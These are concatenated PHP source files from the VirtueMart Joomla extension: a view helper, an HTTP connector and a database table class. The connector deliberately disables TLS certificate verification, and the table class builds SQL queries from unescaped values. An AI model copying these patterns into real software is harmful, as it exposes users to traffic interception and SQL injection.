JURI::root()."/media/mod_languages/images/".$img.".gif"; if (!file_exists ($image_flag)) { vmerror(JText::sprintf('COM_VIRTUEMART_MISSING_FLAG', $image_flag,$joomlaLang['text'] ) ); } else { $flagCss .="td.flag-".$key.",.flag-".$key."{background: url( ".$image_flag_url.") no-repeat 0 0; padding-left:20px !important;}\n"; } } } JFactory::getDocument()->addStyleDeclaration($flagCss); $langList = JHTML::_('select.genericlist', $languages, 'vmlang', 'class="inputbox"', 'value', 'text', $selectedLangue , 'vmlang'); $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); if ($editView =='product') { $productModel = VmModel::getModel('product'); $childproducts = $productModel->getProductChilds($id) ? $productModel->getProductChilds($id) : ''; } $token = JUtility::getToken(); $j = ' jQuery(function($) { var oldflag = ""; $("select#vmlang").chosen().change(function() { langCode = $(this).find("option:selected").val(); flagClass = "flag-"+langCode; $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$id.'&editView='.$editView.'&'.$token.'=1" , function(data) { var items = []; if (data.fields !== "error" ) { if (data.structure == "empty") alert(data.msg); $.each(data.fields , function(key, val) { cible = jQuery("#"+key); if (oldflag !== "") cible.parent().removeClass(oldflag) if (cible.parent().addClass(flagClass).children().hasClass("mce_editable") && data.structure !== "empty" ) tinyMCE.execInstanceCommand(key,"mceSetContent",false,val); else if (data.structure !== "empty") cible.val(val); }); } else alert(data.msg);'; if($editView =='product' && !empty($childproducts)) { foreach($childproducts as $child) { $j .= ' $.getJSON( "index.php?option=com_virtuemart&view=translate&task=paste&format=json&lg="+langCode+"&id='.$child->virtuemart_product_id.'&editView='.$editView.'&'.$token.'=1" , function(data) { cible = jQuery("#child'. $child->virtuemart_product_id .'product_name"); cible.parent().removeClass(oldflag) cible.parent().addClass(flagClass); cible.val(data.fields["product_name"]); jQuery("#child'. $child->virtuemart_product_id .'slug").val(data.fields["slug"]); oldflag = flagClass ; } ) '; } } else $j .= 'oldflag = flagClass ;'; $j .= ' } ) }); })'; $document->addScriptDeclaration ( $j); } else { // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB'); $jlang = JFactory::getLanguage(); $langs = $jlang->getKnownLanguages(); $defautName = $selectedLangue; $flagImg = $selectedLangue; if(isset($languagesByCode[$selectedLangue])){ $defautName = $langs[$selectedLangue]['name']; $flagImg= JHtml::_('image', 'mod_languages/'. $languagesByCode[$selectedLangue]->image.'.gif', $languagesByCode[$selectedLangue]->title_native, array('title'=> $languagesByCode[$selectedLangue]->title_native), true); } else { vmWarn(vmText::sprintf('COM_VIRTUEMART_MISSING_FLAG',$selectedLangue,$selectedLangue)); } $langList = ''.$flagImg.' '.$defautName.''; $this->assignRef('langList',$langList); $this->assignRef('lang',$lang); } } function SetViewTitle($name ='', $msg ='',$icon ='') { $view = JRequest::getWord('view', JRequest::getWord('controller')); if ($name == '') $name = strtoupper($view); if ($icon == '') $icon = strtolower($view); if (!$task = JRequest::getWord('task')) $task = 'list'; if (!empty($msg)) { $msg = ' ' . $msg . ''; } $viewText = JText::_('COM_VIRTUEMART_' . strtoupper($name)); $taskName = ' [ ' . JText::_('COM_VIRTUEMART_' . $task) . ' ]'; JToolBarHelper::title($viewText . ' ' . $taskName . $msg, 'head vm_' . $icon . '_48'); $this->assignRef('viewName',$viewText); //was $viewName? $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $doc->setTitle($app->getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION').' - '.strip_tags($msg)); } function sort($orderby ,$name=null ){ if (!$name) $name= 'COM_VIRTUEMART_'.strtoupper ($orderby); return JHTML::_('grid.sort' , JText::_($name) , $orderby , $this->lists['filter_order_Dir'] , $this->lists['filter_order']); } public function addStandardHiddenToForm($controller=null, $task=''){ if (!$controller) $controller = JRequest::getCmd('view'); $option = JRequest::getCmd('option','com_virtuemart' ); $hidden =''; if (array_key_exists('filter_order',$this->lists)) $hidden =' '; return $hidden.' '. JHTML::_( 'form.token' ); } static function getToolbar($vmView) { // add required stylesheets from admin template $document = JFactory::getDocument(); $document->addStyleSheet('administrator/templates/system/css/system.css'); //now we add the necessary stylesheets from the administrator template //in this case i make reference to the bluestork default administrator template in joomla 1.6 $document->addCustomTag( ''."\n\n". ''."\n". ''."\n" ); $html = '
      '; $html .= ''; $html .= '
      '; $html .= '
      '; return $html; } /** * Additional grid function for custom toggles * * @return string HTML code to write the toggle button */ function toggle( $field, $i, $toggle, $imgY = 'tick.png', $imgX = 'publish_x.png', $prefix='' ) { $img = $field ? $imgY : $imgX; if ($toggle == 'published') { // Stay compatible with grid.published $task = $field ? 'unpublish' : 'publish'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $field ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); } else { $task = $field ? $toggle.'.0' : $toggle.'.1'; $alt = $field ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_DISABLED'); $action = $field ? JText::_('COM_VIRTUEMART_DISABLE_ITEM') : JText::_('COM_VIRTUEMART_ENABLE_ITEM'); } if (JVM_VERSION>1) { return ('' .JHTML::_('image', 'admin/' .$img, $alt, null, true) .''); } else { return ('' .''. $alt .''); } } function showhelp(){ /* http://docs.joomla.org/Help_system/Adding_a_help_button_to_the_toolbar */ $task=JRequest::getWord('task', ''); $view=JRequest::getWord('view', ''); if ($task) { if ($task=="add") { $task="edit"; } $task ="_".$task; } if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_help'); $lang = JFactory::getLanguage(); $key= 'COM_VIRTUEMART_HELP_'.$view.$task; if ($lang->hasKey($key)) { $help_url = JTEXT::_($key)."?tmpl=component"; $bar = JToolBar::getInstance('toolbar'); $bar->appendButton( 'Popup', 'help', 'JTOOLBAR_HELP', $help_url, 960, 500 ); } } function showACLPref(){ if ($this->canDo->get('core.admin')) { JToolBarHelper::divider(); $bar = JToolBar::getInstance('toolbar'); // Add a configuration button. $bar->appendButton('Popup', 'lock', 'JCONFIG_PERMISSIONS_LABEL', 'index.php?option=com_config&view=component&component=com_virtuemart&tmpl=component', 875, 550, 0, 0, ''); } } }PK@y>\ma),),0components/com_virtuemart/helpers/connection.phpnuW+Adebug( 'Setting up proxy: '.$proxyURL['host'].':'.VM_PROXY_PORT ); //curl_setopt($CR, CURLOPT_HTTPPROXYTUNNEL, true); curl_setopt($CR, CURLOPT_PROXY, $proxyURL['host'] ); curl_setopt($CR, CURLOPT_PROXYPORT, VM_PROXY_PORT ); // Check if the proxy needs authentication if( trim( @VM_PROXY_USER ) != '') { // $vmLogger->debug( 'Using proxy authentication!' ); curl_setopt($CR, CURLOPT_PROXYUSERPWD, VM_PROXY_USER.':'.VM_PROXY_PASS ); } } if( $urlParts['scheme'] == 'https') { // No PEER certificate validation...as we don't have // a certificate file for it to authenticate the host www.ups.com against! curl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0); //curl_setopt($CR, CURLOPT_SSLCERT , "/usr/locale/xxxx/clientcertificate.pem"); } $result = curl_exec( $CR ); $error = curl_error( $CR ); if( !empty( $error ) && stristr( $error, '502') && !empty( $proxyURL )) { // $vmLogger->debug( 'Switching to NTLM authenticaton.'); curl_setopt( $CR, CURLOPT_PROXYAUTH, CURLAUTH_NTLM ); $result = curl_exec( $CR ); $error = curl_error( $CR ); } curl_close( $CR ); if( !empty( $error )) { //JError::raiseError(1, $error ); return false; } else { return $result; } } else { if( $postData ) { if( !empty( $proxyURL )) { // If we have something to post we need to write into a socket if( $proxyURL['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = 'http'; } $fp = fsockopen("$protocol://".$proxyURL['host'], VM_PROXY_PORT, $errno, $errstr, $timeout = 30); } else { // If we have something to post we need to write into a socket if( $urlParts['scheme'] == 'https') { $protocol = 'ssl'; } else { $protocol = $urlParts['scheme']; } $fp = fsockopen("$protocol://".$urlParts['host'], $urlParts['port'], $errno, $errstr, $timeout = 30); } } else { if( !empty( $proxyURL )) { // Do a read-only fopen transaction $fp = fopen( $proxyURL['scheme'].'://'.$proxyURL['host'].':'.VM_PROXY_PORT, 'rb' ); } else { // Do a read-only fopen transaction $fp = fopen( $urlParts['scheme'].'://'.$urlParts['host'].':'.$urlParts['port'].$urlParts['path'], 'rb' ); } } if(!$fp) { //error tell us JError::raiseWarning(1, 'Possible server error! - '.$errstr .'('.$errno.')\n' ); return false; } else { //Would be interesting to set this only for debug // JError::raiseNotice(1, 'Connection opened to '.$urlParts['host']); } if( $postData ) { // $vmLogger->debug('Now posting the variables.' ); //send the server request if( !empty( $proxyURL )) { fputs($fp, "POST ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { fputs($fp, 'POST '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($postData)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $postData . "\r\n\r\n"); } else { if( !empty( $proxyURL )) { fputs($fp, "GET ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, "Host: ".$proxyURL['host']."\r\n"); if( trim( @VM_PROXY_USER )!= '') { fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n"); } } else { // JError::raiseNotice(1, 'Host:'. $urlParts['host'].' path: '. $urlParts['path'] ); fputs($fp, 'GET '.$urlParts['path']." HTTP/1.0\r\n"); fputs($fp, 'Host:'. $urlParts['host']."\r\n"); } } // Add additional headers if provided foreach( $headers as $header ) { fputs($fp, $header."\r\n"); } $data = ""; while (!feof($fp)) { $data .= @fgets ($fp, 4096); } fclose( $fp ); // If didnt get content-lenght, something is wrong, return false. if ( trim($data) == '' ) { JError::raiseWarning(E_WARNING,'An error occured while communicating with the server '.$urlParts['host'].'. It didn\'t reply (correctly). Please try again later, thank you.' ); return false; } $result = trim( $data ); if( is_resource($fileToSaveData )) { fwrite($fileToSaveData, $result ); return true; } else { return $result; } } } /** * Set headers and send the file to the client * * @author Andreas Gohr * @param string The full path to the file * @param string The Mime Type of the file */ function sendFile($file,$mime, $overrideFileName='') { // send headers header("Content-Type: $mime"); list($start,$len) = VmConnector::http_rangeRequest(filesize($file)); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); //application mime type is downloadable if(strtolower(substr($mime,0,11)) == 'application') { if( $overrideFileName == '') { $filename = basename($file); } else { $filename = $overrideFileName; } header('Content-Disposition: attachment; filename="'.$filename.'";'); } $chunksize = 1*(1024*1024); // send file contents $fp = @fopen($file,"rb"); if($fp) { fseek($fp,$start); //seek to start of range $chunk = ($len > $chunksize) ? $chunksize : $len; while (!feof($fp) && $chunk > 0) { @set_time_limit(); // large files can take a lot of time print fread($fp, $chunk); flush(); $len -= $chunk; $chunk = ($len > $chunksize) ? $chunksize : $len; } fclose($fp); }else { header("HTTP/1.0 500 Internal Server Error"); print "Could not read $file - bad permissions?"; JFactory::getApplication()->close(true); } } /** * Checks and sets headers to handle range requets * * @author Andreas Gohr * @return array The start byte and the amount of bytes to send * @param int The file size */ function http_rangeRequest($size, $exitOnError=true ) { if(!isset($_SERVER['HTTP_RANGE'])) { // no range requested - send the whole file header("Content-Length: $size"); return array(0,$size); } $t = explode('=', $_SERVER['HTTP_RANGE']); if (!$t[0]=='bytes') { // we only understand byte ranges - send the whole file header("Content-Length: $size"); return array(0,$size); } $r = explode('-', $t[1]); $start = (int)$r[0]; $end = (int)$r[1]; if (!$end) $end = $size - 1; if ($start > $end || $start > $size || $end > $size) { if( $exitOnError ) { header('HTTP/1.1 416 Requested Range Not Satisfiable'); print 'Bad Range Request!'; JFactory::getApplication()->close(true); } else { return array(0,$size); } } $tot = $end - $start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes {$start}-{$end}/{$size}"); header("Content-Length: $tot"); return array($start,$tot); } } // pure php no closing tagPK@y>\p55-components/com_virtuemart/helpers/vmtable.phpnuW+A_tbl = $table; $this->_db =& $db; $this->_pkey = $key; if(JVM_VERSION<3){ $this->_tbl_key = $key; } else { // Set the key to be an array. if (is_string($key)){ $key = array($key); } elseif (is_object($key)){ $key = (array) $key; } $this->_tbl_keys = $key; if (count($key) == 1) { $this->_autoincrement = true; } else { $this->_autoincrement = false; } // Set the singular table key for backwards compatibility. $this->_tbl_key = $this->getKeyName(); } // If we are tracking assets, make sure an access field exists and initially set the default. if (property_exists($this, 'asset_id')){ $this->_trackAssets = true; } // If the access property exists, set the default. if (property_exists($this, 'access')){ $this->access = (int) JFactory::getConfig()->get('access'); } if(JVM_VERSION>2){ // Implement JObservableInterface: // Create observer updater and attaches all observers interested by $this class: $this->_observers = new JObserverUpdater($this); JObserverMapper::attachAllObservers($this); } } public function setPrimaryKey($key, $keyForm = 0) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->setObligatoryKeys('_pkey', $error); $this->_pkey = $key; $this->_pkeyForm = empty($keyForm) ? $key : $keyForm; $this->$key = 0; } public function getPKey(){ return $this->_pkey; } public function setObligatoryKeys($key) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key))); $this->_obkeys[$key] = $error; } public function setUniqueName($name) { $error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); $this->_unique = true; $this->_obkeys[$name] = $error; $this->_unique_name[$name] = $error; } public function setLoggable() { $this->_loggable = true; $this->created_on = false; $this->created_by = 0; $this->modified_on = ''; $this->modified_by = 0; } /** * * @author Patrick Kohl, * @author Max Milbers */ public function setTranslatable($langFields) { $this->_translatableFields = $langFields; $this->_translatableFields['slug'] = 'slug'; $this->_translatable = true; if (!class_exists('VmConfig')) require(JPATH_COMPONENT_ADMINISTRATOR .'helpers/config.php'); VmConfig::loadConfig(); $this->_langTag = VmConfig::$vmlang; $this->_tbl_lang = $this->_tbl . '_' . $this->_langTag; } public function getTranslatableFields() { return $this->_translatableFields; } public function setLockable() { $this->locked_on = ''; $this->locked_by = 0; } function setOrderable($key = 'ordering', $auto = true) { $this->_orderingKey = $key; $this->_orderable = 1; $this->_autoOrdering = $auto; $this->$key = 0; } function setSlug($slugAutoName, $key = 'slug') { // $this->_useSlug = true; $this->_slugAutoName = $slugAutoName; $this->_slugName = $key; $this->$key = ''; $this->setUniqueName($key); } var $_tablePreFix = ''; function setTableShortCut($prefix) { $this->_tablePreFix = $prefix . '.'; } public function emptyCache(){ self::$_cache = array(); } /** * This function defines a database field as parameter field, which means that some values get injected there * As delimiters are used | for the pair and = for key, value * * @author Max Milbers * @param string $paramsFieldName * @param string $varsToPushParam * @param boolean $overwrite */ function setParameterable($paramsFieldName, $varsToPushParam, $overwrite = false) { //if($this->_xParams===0) $this->_xParams = $paramsFieldName; if ($overwrite) { $this->_varsToPushParam = $varsToPushParam; } else { $this->_varsToPushParam = array_merge((array)$varsToPushParam, (array)$this->_varsToPushParam); } foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->$k)) $this->$k = $v[0]; } //vmdebug('setParameterable called '.$this->_xParams,$this->_varsToPushParam); } /** * This function must be * Takes the bounded values at obj of the field $xParams * and adds them as attributs of obj * @param $obj * @param $xParams * @param $varsToPushParam */ static function bindParameterable(&$obj, $xParams, $varsToPushParam) { if(empty($varsToPushParam)) return; //$paramFields = $obj->$xParams; //vmdebug('$obj->_xParams '.$xParams.' $varsToPushParam ',$varsToPushParam); if(is_object($obj)){ if (!empty($obj->$xParams)) { $params = explode('|', $obj->$xParams); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj->$key = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj->$xParams)){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj->$key)) { $obj->$key = $v[0]; } } } else { if (!empty($obj[$xParams])) { $params = explode('|', $obj[$xParams]); foreach ($params as $item) { $item = explode('=', $item); $key = $item[0]; unset($item[0]); $item = implode('=', $item); if (!empty($item) && isset($varsToPushParam[$key][1])) { $obj[$key] = json_decode($item); } } } else { if (empty($xParams)) { //vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam); vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj); vmTrace('$xParams is empty'); } if(!isset($obj[$xParams])){ //vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams); vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj); vmTrace('$obj->$xParams is empty'); } } foreach ($varsToPushParam as $key => $v) { if (!isset($obj[$key])) { $obj[$key] = $v[0]; } } } } /** * Sets fields encrypted * @author Max Milbers * @param $fieldNames */ public function setCryptedFields($fieldNames){ if(!$fieldNames){ vmTrace('setEncrytped fields false not catched'); return; } if(!is_array($fieldNames)) $fieldNames = array($fieldNames); if(isset($fieldNames[$this->_pkey])){ unset($fieldNames[$this->_pkey]); } $this->_cryptedFields = $fieldNames; } /** * */ public function getCryptedFields(){ return $this->_cryptedFields; } /** * Gives Back the columns of the current table, sets the properties on the table. * * @author Max Milbers * @param int $typeKey use "Field" to get the effect of getTableColumns * @param int $typeValue use "Type" to get the effect of getTableColumns * @param bool $properties disable setting of columns as table properties */ public function showFullColumns($typeKey=0,$typeValue=0,$properties=true){ $hash = 'SFL'.$this->_tbl.$typeKey.$typeValue; if (!isset(self::$_cache[$hash])) { $this->_db->setQuery('SHOW FULL COLUMNS FROM `'.$this->_tbl.'` ') ; self::$_cache[$hash] = $this->_db->loadAssocList(); } if ($properties and count(self::$_cache[$hash]) > 0) { foreach (self::$_cache[$hash] as $key => $_f) { $_fieldlist[$_f['Field']] = $_f['Default']; } $this->setProperties($_fieldlist); } if ($typeKey or $typeValue){ foreach (self::$_cache[$hash] as $field){ if(empty($typeValue)){ $value = $field; } else { $value = $field[$typeValue]; } if($typeKey){ $result[$field[$typeKey]] = $value; } else { $result[] = $value; } } } else { $result = self::$_cache[$hash]; } return $result; } public function loadFields(){ return $this->showFullColumns(); } function loadFieldValues($array=true){ $tmp = get_object_vars($this); if($array){ $return = array(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return[$k] = $v; } } } else { $return = new stdClass(); foreach ($tmp as $k => $v){ // Do not process internal variables if ('_' != substr($k, 0, 1)){ $return->$k = $v; } } } return $return; } function checkDataContainsTableFields($from, $ignore = array()) { if (empty($from)) return false; $fromArray = is_array($from); $fromObject = is_object($from); if (!$fromArray && !$fromObject) { vmError(get_class($this) . '::check if data contains table fields failed. Invalid from argument
      ' . print_r($from, 1) . '
      '); return false; } if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } foreach ($this->getProperties() as $k => $v) { // internal attributes of an object are ignored if (!in_array($k, $ignore)) { if ($fromArray && isset($from[$k])) { return true; } else if ($fromObject && isset($from->$k)) { return true; } } } vmdebug('VmTable developer notice, table ' . get_class($this) . ' means that there is no data to store. When you experience that something does not get stored as expected, please write in the forum.virtuemart.net'); return false; } /** * Function setting the loggable data hack procted * In case you want to override the value for administrators, just set the created_on to "0000-00-00 00:00:00" * * @author Max Milbers */ function setLoggableFieldsForStore() { if ($this->_loggable) { // set default values always used //We store in UTC time, dont touch it! $date = JFactory::getDate(); $today = $date->toSQL(); //vmdebug('my today ',$date); $user = JFactory::getUser(); $pkey = $this->_pkey; //Lets check if the user is admin or the mainvendor $admin = JFactory::getUser()->authorise('core.admin', 'com_virtuemart'); $adminSessionID = JFactory::getSession()->get('vmAdminID'); if ($admin || JFactory::getUser($adminSessionID)->authorise('core.admin', 'com_virtuemart')) { // vmdebug('setLoggableFieldsForStore ', $this->created_on); if (empty($this->$pkey) and empty($this->created_on)) { $this->created_on = $today; } else if (empty($this->created_on)) { //If nothing is there, dont update it unset($this->created_on); } else //ADDED BY P2 PETER if ($this->created_on == "0000-00-00 00:00:00") { $this->created_on = $today; $this->created_by = $user->id; } //END ADD if (empty($this->$pkey) and empty($this->created_by)) { $this->created_by = $user->id; } else if (empty($this->created_by)) { //If nothing is there, dont update it unset($this->created_by); } } else { if (empty($this->$pkey)) { $this->created_on = $today; $this->created_by = $user->id; } else { //If nothing is there, dont update it unset($this->created_on); unset($this->created_by); } } $this->modified_on = $today; $this->modified_by = $user->id; } if (isset($this->locked_on)) { //Check if user is allowed to store, then disable or prevent storing $this->locked_on = 0; } } /** * Technic to inject params as table attributes * @author Max Milbers * $TableJoins array of table names to add and left join to find ID */ function load($oid = null, $overWriteLoadName = 0, $andWhere = 0, $tableJoins = array(), $joinKey = 0) { if( $overWriteLoadName!==0 ){ $k = $overWriteLoadName; } else { $k = $this->_pkey; } if ($oid !== null) { $this->$k = $oid; } else { $oid = $this->$k; } if ($oid === null) { $oid = 0; } else if (empty($oid)) { if (!empty($this->_xParams)) { foreach ($this->_varsToPushParam as $key => $v) { if (!isset($this->$key)) { $this->$key = $v[0]; } } } return $this; } //Version load the tables using JOIN if ($this->_translatable) { $mainTable = $this->_tbl; $langTable = $this->_tbl . '_' . $this->_langTag; $select = 'SELECT `' . $mainTable . '`.* ,`' . $langTable . '`.* '; $from = ' FROM `' . $mainTable . '` INNER JOIN `' . $langTable . '` using (`' . $this->_tbl_key . '`)'; } else { $mainTable = $this->_tbl; $select = 'SELECT `' . $mainTable . '`.* '; $from = ' FROM `' . $mainTable . '` '; } if (count($tableJoins)) { if (!$joinKey) $joinKey = $this->_tbl_key; foreach ($tableJoins as $tableId => $table) { $select .= ',`' . $table . '`.`' . $tableId . '` '; $from .= ' LEFT JOIN `' . $table . '` on `' . $table . '`.`' . $joinKey . '`=`' . $mainTable . '`.`' . $joinKey . '`'; } } //the cast to int here destroyed the query for keys like virtuemart_userinfo_id, so no cast on $oid // $query = $select.$from.' WHERE '. $mainTable .'.`'.$this->_tbl_key.'` = "'.$oid.'"'; if ($andWhere === 0) $andWhere = ''; $query = $select . $from . ' WHERE `' . $mainTable . '`.`' . $k . '` = "' . $oid . '" ' . $andWhere; $hashVarsToPush = ''; if (!empty($this->_xParams)) { $hashVarsToPush = serialize($this->_varsToPushParam); } $hash = md5($oid. $select . $k . $andWhere . $hashVarsToPush); if (isset (self::$_cache['l'][$hash])) { //vmdebug('Resturn cached '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); $this->bind(self::$_cache['l'][$hash]); return $this; } else { //vmdebug('loading '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid); } $db = $this->getDBO(); $db->setQuery($query); $result = $db->loadAssoc(); if ($result) { $this->bind($result); if (!empty($this->_xParams)) { //Maybe better to use for $this an & self::bindParameterable($this, $this->_xParams, $this->_varsToPushParam); } if (count($tableJoins)) { foreach ($tableJoins as $tableId => $table) { if (isset($result[$tableId])) $this->$tableId = $result[$tableId]; } } } else { $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla $defaultLang= strtolower(strtr($defaultLang,'-','_')); if($defaultLang!=$this->_langTag and Vmconfig::$langCount>1){ $this->_ltmp = $this->_langTag; $this->_langTag = $defaultLang; $this->load($oid, $overWriteLoadName, $andWhere, $tableJoins, $joinKey) ; } } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->modified_on)){ $timestamp = strtotime($this->modified_on); $date = $timestamp; } else { $date = 0; } foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::decrypt($this->$field,$date); } } } } if($this->_ltmp){ $this->_langTag = $this->_ltmp; $this->_ltmp = false; } self::$_cache['l'][$hash] = $this->loadFieldValues(false); return $this; } /** * Technic to inject params as table attributes * @author Max Milbers */ function store($updateNulls = false) { $this->setLoggableFieldsForStore(); if($this->_cryptedFields){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } vmdebug('my crytped fields in store '.get_class($this),$this->_cryptedFields); foreach($this->_cryptedFields as $field){ if(isset($this->$field)){ $this->$field = vmCrypt::encrypt($this->$field); } else { vmdebug('Store vmtable empty property for '.$field); } } } $this->storeParams(); return parent::store($updateNulls); } function storeParams() { if (!empty($this->_xParams)) { $paramFieldName = $this->_xParams; $this->$paramFieldName = ''; foreach ($this->_varsToPushParam as $key => $v) { if (isset($this->$key)) { $this->$paramFieldName .= $key . '=' . json_encode($this->$key) . '|'; } else { $this->$paramFieldName .= $key . '=' . json_encode($v[0]) . '|'; } unset($this->$key); } } return true; } function checkCreateUnique($tbl_name, $name) { $i = 0; while ($i < 20) { $tbl_key = $this->_tbl_key; $q = 'SELECT `' . $name . '` FROM `' . $tbl_name . '` WHERE `' . $name . '` = "' . $this->$name . '" AND `' . $this->_tbl_key . '`!=' . $this->$tbl_key; $this->_db->setQuery($q); $existingSlugName = $this->_db->loadResult(); if (!empty($existingSlugName)) { if($posNbr = strrpos($this->$name,'-')){ $existingNbr = substr($this->$name,$posNbr+1); if(is_numeric($existingNbr)){ $existingNbr++; if($i>10){ $existingNbr = $existingNbr + rand (1, 9); } $this->$name = substr($this->$name,0,$posNbr+1) . $existingNbr; } else{ $this->$name = $this->$name . '-1'; } } else { $this->$name = $this->$name . '-1'; } } else { return true; } $i++; } return false; } /** * @author Max Milbers * @param */ function check() { if (!empty($this->_slugAutoName)) { $slugAutoName = $this->_slugAutoName; $slugName = $this->_slugName; if (in_array($slugAutoName, $this->_translatableFields)) { $checkTable = $this->_tbl . '_' . VmConfig::$vmlang; } else { $checkTable = $this->_tbl; } if (empty($this->$slugName)) { // vmdebug('table check use _slugAutoName '.$slugAutoName.' '.$slugName); if (!empty($this->$slugAutoName)) { $this->$slugName = $this->$slugAutoName; } else { vmError('VmTable ' . $checkTable . ' Check not passed. Neither slug nor obligatory value at ' . $slugAutoName . ' for auto slug creation is given'); return false; } } //if (JVM_VERSION === 1) $this->$slugName = JFilterOutput::stringURLSafe($this->$slugName); //else $this->$slugName = JApplication::stringURLSafe($this->$slugName); //pro+#'!"§$%&/()=?duct-w-| ||cu|st|omfield-|str //vmdebug('my slugName '.$slugName,$this->$slugName); $this->$slugName = str_replace('-', ' ', $this->$slugName); //$config =& JFactory::getConfig(); //$transliterate = $config->get('unicodeslugs'); $unicodeslugs = VmConfig::get('transliterateSlugs',false); if($unicodeslugs){ $lang = JFactory::getLanguage(); $this->$slugName = $lang->transliterate($this->$slugName); } // Trim white spaces at beginning and end of alias and make lowercase $this->$slugName = trim(JString::strtolower($this->$slugName)); $this->$slugName = str_replace(array('`','´',"'"),'',$this->$slugName); $this->$slugName = vRequest::filterUword($this->$slugName,'-,_,.,|','-'); while(strpos($this->$slugName,'--')){ $this->$slugName = str_replace('--','-',$this->$slugName); } // Trim dashes at beginning and end of alias $this->$slugName = trim($this->$slugName, '-'); if($unicodeslugs)$this->$slugName = rawurlencode($this->$slugName); $valid = $this->checkCreateUnique($checkTable, $slugName); vmdebug('my Final slugName '.$slugName,$this->slugName); if (!$valid) { return false; } } foreach ($this->_obkeys as $obkeys => $error) { if (empty($this->$obkeys)) { if (empty($error)) { $error = 'Serious error cant save ' . $this->_tbl . ' without ' . $obkeys; } else { // $error = get_class($this).' '.vmText::_($error); $error = get_class($this) . ' ' . $error; } $this->setError($error); vmError($error); return false; } } if ($this->_unique) { if (empty($this->_db)) $this->_db = JFactory::getDBO(); foreach ($this->_unique_name as $obkeys => $error) { if (empty($this->$obkeys)) { // vmError(vmText::sprintf('COM_VIRTUEMART_NON_UNIQUE_KEY',$this->$obkeys)); $this->setError($error); vmError('Non unique ' . $this->_unique_name . ' ' . $error); return false; } else { $valid = $this->checkCreateUnique($this->_tbl, $obkeys); if (!$valid) { return false; } } } } if (isset($this->virtuemart_vendor_id)) { $multix = Vmconfig::get('multix', 'none'); //Lets check if the user is admin or the mainvendor $virtuemart_vendor_id = false; if ($multix == 'none' and get_class($this) !== 'TableVmusers') { $this->virtuemart_vendor_id = 1; return true; } else { $loggedVendorId = Permissions::getInstance()->isSuperVendor(); $user = JFactory::getUser(); $admin = $user->authorise('core.admin','com_virtuemart'); $tbl_key = $this->_tbl_key; $className = get_class($this); if 